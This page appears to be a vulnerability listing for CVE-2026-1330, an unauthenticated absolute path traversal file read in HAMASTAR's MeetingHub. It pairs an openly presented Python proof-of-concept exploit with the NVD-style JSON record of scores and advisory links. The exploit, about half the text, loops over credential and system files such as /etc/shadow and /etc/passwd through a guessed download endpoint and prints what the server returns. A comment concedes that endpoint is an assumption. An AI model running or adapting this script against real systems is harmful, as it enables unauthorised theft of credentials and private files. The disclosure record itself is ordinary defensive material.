CVE-2026-1330

import requests import sys # CVE-2026-1330 PoC - MeetingHub Arbitrary File Read # Target: MeetingHub by HAMASTAR Technology # Vulnerability: Absolute Path Traversal / Arbitrary File Read def exploit(target_url, file_path): """ Exploit for CVE-2026-1330 Attempts to read arbitrary files from the server using path traversal """ # Common sensitive files to target sensitive_files = [ file_path, '/etc/passwd', '/etc/hosts', '/etc/shadow', 'C:\\Windows\\win.ini', 'C:\\Windows\\System32\\drivers\\etc\\hosts' ] for target_file in sensitive_files: try: # Construct the exploit URL # Adjust the endpoint based on actual application structure exploit_url = f"{target_url.rstrip('/')}/download?file={target_file}" print(f"[*] Trying to read: {target_file}") response = requests.get(exploit_url, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS! File content:") print(response.text[:500]) return True else: print(f"[-] Failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-1330.py <target_url> <file_path>") print("Example: python cve-2026-1330.py http://target.com /etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit(target, file_path)

{"cve": {"id": "CVE-2026-1330", "sourceIdentifier": "[email protected]", "published": "2026-01-22T09:15:51.990", "lastModified": "2026-02-17T19:31:32.393", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MeetingHub developed by HAMASTAR Technology has an Arbitrary File Read vulnerability, allowing unauthenticated remote attackers to exploit Absolute Path Traversal to download arbitrary system files."}, {"lang": "es", "value": "MeetingHub desarrollado por HAMASTAR Technology tiene una vulnerabilidad de lectura arbitraria de archivos, permitiendo a atacantes remotos no autenticados explotar el salto de ruta absoluto para descargar archivos de sistema arbitrarios."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-36"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hamastar:meetinghub_paperless_meetings:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-12-10", "matchCriteriaId": "251B1D2A-2FF9-44AE-B652-D3830D85689C"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10651-ff09c-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10650-a5ee9-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}